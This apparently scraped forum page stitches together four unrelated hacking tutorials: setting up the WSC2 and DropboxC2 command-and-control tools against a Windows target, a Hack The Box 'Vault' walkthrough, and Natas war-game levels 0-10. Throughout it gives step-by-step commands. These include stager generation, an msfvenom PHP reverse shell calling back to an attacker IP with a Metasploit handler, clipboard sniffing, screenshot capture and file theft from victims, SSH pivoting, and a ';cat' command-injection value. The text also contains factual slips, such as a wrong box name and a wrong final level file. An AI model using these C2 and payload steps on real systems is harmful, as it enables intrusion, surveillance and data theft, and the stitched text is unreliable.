In this article, we will learn how to use WebSocket C2 tool. It is also known as WSC2.
Table of Content:

• Introduction
  
• Installation
  
• Exploiting Target
  
• Command Execution
  
• File Download
  

Introduction                                                                                                                                                 
WSC2 is primarily a tool for post-exploitation. WSC2 uses the WebSocket and a browser process. This serves as a C2 communication channel between an agent, running on the target system, and a controller acting as the actual C2 server. This tool is developed using python. The credit for developing this tool goes to

[To see content please register here]

.
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone //github.com/Arno0x/WSC2.git
1
git clone //github.com/Arno0x/WSC2.git

After running the above command, we would have a directory created by the name of WSC2. Now, we will traverse inside that directory using the cd command. Let’s see the contents of the directory that we just cloned using the ls command.
cd WSC2/
ls
1
2
cd WSC2/
ls

After that we are going to need to install the dependencies of the tool. There are multiple ways to do this, but here we are using pip command along with a requirements.txt file that we cloned from git earlier.
pip install -r requirements.txt
1
pip install -r requirements.txt

As we saw earlier that we have a config.py file inside the cloned directory. We have to make some changes inside this config.py file so as to get the session on our system. We used nano to edit the file. As shown in the figure, when we opened the config.py file using nano, we found a variable CALLBACK. It has an IP Address. We changed it to the IP Address of our Attacker Machine i.e Kali Linux.
nano config.py
1
nano config.py

Exploiting Target
Now, it’s time to run the tool, check for appropriate permission before running the tool. As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this, it will create an incoming directory inside the Directory we cloned earlier. This will be used as a buffer to save files from the target.
./wsc2.py
1
./wsc2.py

We are going to create a batch file. But we can use many other types of stager options. This tool provides stager in jscript1, jscript2, jscript3. We are using jscript1 here because it is not required to compile. Rest of the stagers are required to compile. This command will create a wsc2Agent1.js in stagers directory.
genStager jscript1
1
genStager jscript1

Now let’s get the file to the target machine. To do this we will open up a new terminal and traverse into the stagers directory using the cd command. Here, we are using the python server to share the file to the target. This can be done using any other method of choice.
cd stagers/
ls
python -m SimpleHTTPServer 80
1
2
3
cd stagers/
ls
python -m SimpleHTTPServer 80

After the jscript file is executed on the target machine, we will be informed with a message on the terminal that New agent connected. Now we will use the list command to see the list of the agents.
list
1
list

And then we will copy the AgentID and then use it to interact with the session as shown in the given image.
use [AgentID]
1
use [AgentID]

Command Execution
We can run some PowerShell commands on the target machine using the command cli. Here we run the command systeminfo. And we have the system information of the target as shown in the given image.
cli
systeminfo
1
2
cli
systeminfo

File Download
Furthermore, we can download files from the target. To do this we will have to use the command getFile followed by the file name or path. This will download the file form the target to our attacker machine.
help getFile
getFile sample_text.txt
1
2
help getFile
getFile sample_text.txt

The tool will download the file inside the incoming directory we discussed earlier. We can view the file using cat command as shown in the image given below.
cd incoming/
ls
cat sample_file.txt
1
2
3
cd incoming/
ls
cat sample_file.txt


Today we are going to solve another CTF challenge “Vault”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of Curling is 10.10.10.109
Penetrating Methodology

• Network scanning (Nmap)
  
• Surfing the IP address on the browser
  
• Surfing directories on the browser
  
• Using dirb for directory scanning
  
• Creating Payload using msfvenom
  
• Getting Meterpreter Session
  
• Enumerating through directories
  
• Getting SSH login credentials
  
• Logging into SSH
  
• Pinging Host IP
  
• Scanning Ports on Host IP
  
• Dynamic Port forwarding with SSH
  
• Updating the VPN Configuration file
  
• Executing Netcat listener
  
• Finding user.txt
  
• Getting SSh Login Credentials
  
• Using the proxy command option
  
• Escaping restricted shell
  
• Using gpg to decrypt root.txt.gpg file
  
• Converting the file in the base64 string using python3m
  
• Using echo to decrypt the string
  
• Reading our Root Flag
  

Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -p- -sV -sC 10.10.10.109
1
nmap -p- -sV -sC 10.10.10.109

As port 80 is running HTTP service, we open the IP address in the web browser.

We thought of opening sparklays in the browser along with the Machines IP. But it turned out to be forbidden.

We don’t find anything on the web page, so we further enumerate the web service using dirb scan.
dirb //10.10.10.109/sparklays/ -w
1
dirb //10.10.10.109/sparklays/ -w

From dirb scan, we found a useful directory /design/design.html which we opened in the browser. Since the only thing left to do on this Page is to click on Change Logo.

It redirected us on a File Upload Page.

Now we have used msfvenom to generate malicious PHP file.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.13.234 lport=1234 -f raw > shell.php5
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.13.234 lport=1234 -f raw > shell.php5

We have successfully uploaded the malicious file.

On the other hand, we have setup listening using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > run

Let’s open our malicious file using the browser.

Finally, we have got the meterpreter.
sysinfo
1
sysinfo

While looking for our first flag, we have some useful credential for ssh login.
Username- dave
Password- Dav3therav3123
cd Desktop
ls -al
cat Servers
cat key
cat ssh
1
2
3
4
5
cd Desktop
ls -al
cat Servers
cat key
cat ssh

Time to login into ssh.
Username- dave
Password- Dav3therav3123

We use the ping command to find all the available machines on the subnet “192.168.122.1/255”.
for i in {1..255}; do ping -c 1 192.168.122.$i | grep 'from' ; done
1
for i in {1..255}; do ping -c 1 192.168.122.$i | grep 'from' ; done

Let’s use the following command to scan the ports of 192.168.122.4 to see what we are up against.

Now connect to the client machine using the command below.
ssh -D 8080 [email protected]
1
ssh -D 8080 [email protected]
Password- Dav3therav3123

The proxy on the browser is set up to point to socks5://127.0.0.1:8080.
Let’s open the IP 192.168.122.4 in the browser. And see where it directed us. Click on VPN Configuration link.

It directed us to the page where we need to update the VPN file. We have found the details in Test VPN link.

Simply we have pasted and modified the details in which we have given the IP address of the Target Machine along with port 1234. Click on update file.

On the other hand, we have executed listening on port 1234.
nc -lvp 1234
1
nc -lvp 1234
We have easily got the root access. Enumerating directories to find user.txt.
cd /root
ls
ls -al
1
2
3
cd /root
ls
ls -al

After some digging, we have found our first flag.
ls
cd dave
ls
cat user.txt
1
2
3
4
ls
cd dave
ls
cat user.txt

Now we thought of reading the logs, we were totally out of hints. While looking at the logs we found something interesting. We saw that the firewall is accepting inbound traffic from port 4444/tcp to host 192.168.5.2 which is listening at 987/tcp.
So, to find out, what’s running on 987/tcp. Use the following command.
ncat -p 4444 192.168.5.2 987
1
ncat -p 4444 192.168.5.2 987
It came out be SSH service.

We again found Credentials for SSH Login.
Username- dave
Password- dav3gerous567
cat ssh
1
cat ssh

What are we waiting for, time to log into SSH, here we again found User.txt.
ssh [EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
Password- dav3gerous567
ls
cat user.txt
1
2
ls
cat user.txt

Since dave has a restricted default shell, so we are using proxy command to re-login.
ssh -o 'Proxycommand ncat -p 4444 %h %p' -p 987 [email protected]
1
ssh -o 'Proxycommand ncat -p 4444 %h %p' -p 987 [email protected]

After logging in as user “monitor” we find that we have a restricted shell. We are not able to change the SHELL variable. After spawning a TTY shell, we are able to change the SHELL environment variables.
echo $SHELL
export SHELL=/bin/bash:$SHELL
python
bash
export SHELL=/bin/bash:$SHELL
1
2
3
4
5
echo $SHELL
export SHELL=/bin/bash:$SHELL
python
bash
export SHELL=/bin/bash:$SHELL

We tried decrypting the file root.txt.png but couldn’t succeed. Since it requires a secret key.
gpg -d root.txt.gpg
1
gpg -d root.txt.gpg

There are not many options left, let’s convert into a base64 encoded string using python3m.
python3m -c "import base64;print(base64.b64encode(open('root.txt.gpg', 'rb').read()))"
1
python3m -c "import base64;print(base64.b64encode(open('root.txt.gpg', 'rb').read()))"

We have copy & pasted the encoded string to the ubuntu machine and decrypted it. Since we have found the paraphrase ‘itscominghome’ we can easily open the file root.txt.gpg to read our final flag.

Finally, we have read our Final Flag.
gpg -d root.txt.gpg
1
gpg -d root.txt.gpg


In this article, we will learn how to use DropboxC2 tool. It is also known as DBC2.
Table of Content:

• Introduction
  
• Installation
  
• Getting Dropbox API
  
• Exploiting Target
  
• Sniffing Clipboard
  
• Capturing Screenshot
  
• Command Execution
  
• File Download
  

Introduction                             
DBC2 is primarily a tool for post-exploitation. It has an agent running on the target’s machine, a controller, running on any machine, PowerShell modules, and Dropbox servers as a means of communication. It is inspired by the PowerShell Empire Framework. This tool is developed using python. The credit for developing this tool goes to

[To see content please register here]

.
For this particular demonstration,
Attacker: Kali Linux
Target: Windows 10
Installation
To begin, first, we need the tool on our Attacker Machine. To do this, we will clone the tool directly from the GitHub.
git clone

[To see content please register here]

1
git clone

[To see content please register here]

After running the above command, we would have a directory created by the name of DBC2. Now, we will traverse inside that directory using the cd command. After that, we are going to need to install the dependencies of the tool. There are multiple ways to do this, but here we are using pip command along with a requirements.txt file that we cloned from git earlier.
cd DBC2/
pip install -r requirements.txt
1
2
cd DBC2/
pip install -r requirements.txt

Getting Dropbox API
Now, this tool uses the Dropbox Servers as the medium to run agents on the target machine. In order to do that, this tool requires a Dropbox API. To get that, first, create an account on

[To see content please register here]

. Then after creating the account, head to developer tools

[To see content please register here]

. A webpage will open similar to the one shown below. Here we will select the “Dropbox API”. Then in the type of access section, we will choose “App folder”. Name the app as per choice. Then click on Create App Button to proceed.

This will lead to another webpage as shown below. Here, move on to the O Auth 2 Section, and
Generate access token. This will give the Dropbox API required for this particular practical.

Copy the Generated access token, now get to the directory we cloned earlier. Here we have a file named config.py. We will open it using nano command and paste the Access token as the value for “defaultAccessToken” as shown in the given screenshot given below.

Exploiting Target
Now, it’s time to run the tool, check for appropriate permission before running the tool. As we run the tool, we are greeted with a cool looking banner as shown in the given below. Followed by some details about the Author and Version and tool. After this, it will ask for a master password which will be used to encrypt all the data between the agents and the controller. Enter the password of choice. It will encrypt the password entered and display the result. We can copy the code shown and add to the config.py file so that it doesn’t ask again for a master password. After this, it will create an incoming directory inside the Directory we cloned earlier. This will be used as a buffer to save files from the target.
python dropboxC2.py
1
python dropboxC2.py

This tool requires to upload the modules and stager on Dropbox before proceeding further. We will do this using the command given below.
publishStage dbc2_agent.exe
1
publishStage dbc2_agent.exe

This will upload a file on the Dropbox as shown in the image given below. This file is encrypted using XOR encryption.

Now let’s check if the stage is published using the command given below:
listPublishedStage
1
listPublishedStage

Now that stage is uploaded, let’s use it to create a stager. We are going to create a batch file. But we can use many other types of stager options. This tool provides stager in macro, oneliner, JavaScript, MS build sct and much more. This command will create a stager.bat in the tmp directory. We sent this bat file to our target machine.
genStager batch default
1
genStager batch default

After the batch file is executed on the target machine, we will be informed with a message on the terminal that Agent found with ID. Now we will use the list command to see the list of the agents. And then we will copy the AgentID and then use it to interact with the session as shown in the given image.
list
use [AgentID]
1
2
list
use [AgentID]

This will create a file on the Dropbox with the .status extension as shown in the given image.

Clipboard Sniffing
We can get the clipboard data that the target has on its clipboard. That is., the data he/she has copied. To do this we will have to start a sniffer using the command clipboardLogger start. Then wait till the target copies some data. Then Stop the sniffer using the command clipboardLogger stop. After stopping the sniffer the clipboard will be saved in a text file inside the incoming directory.
clipboardLogger start
clipboardLogger stop
1
2
clipboardLogger start
clipboardLogger stop

Let’s take a look at what target copied on his/her machine. We are going to use the cat command on a new Kali terminal to read the file as shown in the given image.
cat /root/DBC2/incoming/clipboardlogger.txt
1
cat /root/DBC2/incoming/clipboardlogger.txt

Capturing Screenshot
Now furthermore we can grab a screenshot of then target machine. To do this we will use the screenshot command as shown in the given image.
screenshot
1
screenshot

The screenshot will be captured and stored in the incoming directory. We can see that the target is browsing a website on his/her machine in the given image.

Command Execution
We can run some PowerShell commands on the target machine using the parameter cmd. This tool doesn’t offer the shell but it can execute one command at a time. So, we type cmd and then it asks the command that is to be executed. Here we run the command dir. And we have the list of files as shown in the given image.
cmd
dir
1
2
cmd
dir

File Download
Furthermore, we can download files from the target. To do this we will have to use the command getFile followed by the file name or path. This will download the file form the target to our attacker machine.
getFile sharetext.txt
1
getFile sharetext.txt

The tool will download the file inside the incoming directory we discussed earlier. We can view the file using cat command as shown in the image given below.
cat /root/DBC2/incoming/sharetext.txt
1
cat /root/DBC2/incoming/sharetext.txt


Today, we will play a war-game called Natas. It has a collection of 34 levels. OverTheWire Organization hosts this war-game. Absolute Beginners are the target audience. It teaches the basics of serverside web-security in a fun and challenging way. To play this war-game, go to the Natas website by clicking

[To see content please register here]

.
Objective
Find the password to login on to the next level.
Table of Content:

• Introduction
  
• Level 0
  
• Level 0 → Level 1
  
• Level 1 → Level 2
  
• Level 2 → Level 3
  
• Level 3 → Level 4
  
• Level 4 → Level 5
  
• Level 5 → Level 6
  
• Level 6 → Level 7
  
• Level 7 → Level 8
  
• Level 8 → Level 9
  
• Level 9 → Level 10
  

Introduction
Natas have levels designed in such a way that each level has a different website. To reach each website we will enter the URL in this format.
natasX.natas.labs.overthewire.org, where X is the Level Number.
To access a level, we will use the username for that level (e.g. natas0 for level 0) and its password. The password for the next level is hidden on the current level. We will have to enumerate the password for the next level that is hidden in the current level. All the passwords are stored at /etc/natas_webpass/.
Level 0
This is a pretty simple level. We have the login credentials given on the Natas Introduction Page. Just browse the URL and enter the login credentials.
Username: natas0
Password:  natas0

Level 0 → Level 1
On successfully logging in the natas0 webpage, we will have a message in front of us. It says “You can find the password for the next level on this page” as shown in the figure given below.

Now as per convention, let’s try to find something inside the source code. To view source code, we will right click on the webpage and select ‘View Page Source’. And there we have the password commented in the source code.

Level 1 → Level 2
We use the credentials we extracted from the previous level to login into Level 1.
Username: natas1
Password:  gtVrDuiDfck831PqWsLEZy5gyDz1clto
On successfully logging in the natas1 webpage, we will have a message in front of us. It says “You can find the password for the next level on this page, but rightclicking has been blocked!” as shown in the figure given below.

Now as right-clicking is disabled to view source code, we will have to find another way to retrieve the password form the source code. As we were using Mozilla Firefox and to open source code, we use ‘Ctrl + U’ shortcut. And there we have the password commented in the source code.

Level 2 → Level 3
We use the credentials we extracted from the previous level to login into Level 2.
Username: natas2
Password:  ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
On successfully logging in the natas2 webpage, we will have a message in front of us. It says “There is nothing on this page” as shown in the figure given below.

So, we check the Source Code of the page, here we find that we have an image file named pixel.png located in the files directory.

We opened the files directory as shown in the image given below. In this directory, we find the user.txt file.

On opening it we find the passwords for the various users present on the target machine. But we need the password for the natas3.

Level 3 → Level 4
We use the credentials we extracted from the previous level to login into Level 3.
Username: natas3
Password:  sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
On successfully logging in the natas3 webpage, we will have a message in front of us. It says “There is nothing on this page” as shown in the figure given below.

So, we check the Source Code of the page, here we find a commented hint. It says “Not even Google will find it this time”. Search Engine spiders always leave the links that are disallowed the robots.txt file. So, we thought to check if this website has one.

We opened the robots.txt as shown in the image given below. In this file, we find that the /s3cr3t/ directory is disallowed. So, let’s open and see for ourselves what’s inside the s3cr3t directory.

In this directory, we find the user.txt file.

On opening it we find the login credentials of the user natas4.

Level 4 → Level 5
We use the credentials we extracted from the previous level to login into Level 4.
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
On successfully logging in the natas4 webpage, we will have a message in front of us. It says “Access disallowed. You are visiting from “” while authorized users should come only from “//natas5.natas.labs.overthewire.org/” ”as shown in the figure given below.

We capture the request in Burp Suite, here we see that there is a parameter named Referer. It says natas4.

We change that Referer parameter value to Natas5 as shown in the image given below.

After Forwarding the Request, we get the credentials of the user natas5.

Level 5 → Level 6
We use the credentials we extracted from the previous level to login into Level 5.
Username: natas5
Password:  iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
On successfully logging in the natas5 webpage, we will have a message in front of us. It says “Access disallowed. You are not logged in” as shown in the figure given below.

We capture the request in Burp Suite, here we see that there is a parameter named loggedin. It is set to 0.

We change that loggedin parameter value to 1 as shown in the image given below.

After Forwarding the Request, we get the credentials of the user natas6.

Level 6 → Level 7
We use the credentials we extracted from the previous level to login into Level 6.
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
On successfully logging in the natas6 webpage, we will have a form in front of us. It says “Input secret:” as shown in the figure given below.

We went ahead and look for some clues for that secret that we will have to enter in order to get the credentials for the next level. Here we see that a file is included called ‘secret.inc’.

So, in order to grab the secret, we will browser the included file manually. So, as we can see in the given image, we can see that we add the /include/secret.inc in the URL. This gave us a blank page in response. So, we browsed the source code to find the secret commented on the webpage.

Now we copied the secret and went back to the form which was asking the secret. After entering the secret, we get the login credentials for the next level.

Level 7 → Level 8
We use the credentials we extracted from the previous level to login into Level 7.
Username: natas7
Password:  7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
On successfully logging in the natas7 webpage, we are given two links, Home and About as shown in the figure given below.

So, we check the Source Code of the page. Here, we can see the links “index.php?page=” in the given image. We have also hinted the location of the password, that is., /etc/natas_webpass/natas8.

As we can see in the given image, the link is shown in the address bar of our browser after clicking the Home link.

So, we modify the link to read the password stored in the natas_webpass.
//natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
And we have the password for the next level. This is called command injection.

Level 8 → Level 9
We use the credentials we extracted from the previous level to login into Level 8.
Username: natas8
Password:  DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
On successfully logging in the natas8 webpage, we will have a form in front of us. It says “Input secret:” as shown in the figure given below.

We opened the source code and found that the secret is encoded. Also, we have a function which encodes the secret.

Hence to decode the secrete we just create a function that can decode the secret. This can be done as shown in the given image.
php -a
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));
1
2
php -a
echo base64_decode(strrev(hex2bin('3d3d516343746d4d6d6c315669563362')));

As we now have the decoded secret, we can use it extract the credentials from the webpage of natas8 as shown in the given image.

Level 9 → Level 10
We use the credentials we extracted from the previous level to login into Level 9.
Username: natas9
Password:  W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
On successfully logging in the natas9 webpage, we will have a form in front of us. It says “Find words containing” as shown in the figure given below.

We opened the source code and found that when we enter a keyword, it is passed via a function called passthru(). It takes the value in $key and executes it directly.

So, we will use ( to execute multiple commands. We will try to read the password at the next level.
;cat /etc/natas_webpass/natas10
1
;cat /etc/natas_webpass/natas10

As we can see that the password is printed on the screen as shown in the given image.

Level 10 → Level 11
We use the credentials we extracted from the previous level to login into Level 10.
Username: natas10
Password:  nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
On successfully logging in the natas10 webpage, we will have a form in front of us. It says “For security reasons, we now filter on certain characters Find words containing” as shown in the figure given below.

We opened the source code and found that when we enter a keyword, it is passed via a function called passthru(). It takes the value in $key and it filters the input of the characters (/;|&) as shown in the given image.

So, we will use (.*) to execute multiple commands. We will try to read the password at the next level.
.*/etc/natas_webpass/natas10
1
.*/etc/natas_webpass/natas10

As we can see that the password is printed on the screen as shown in the given image.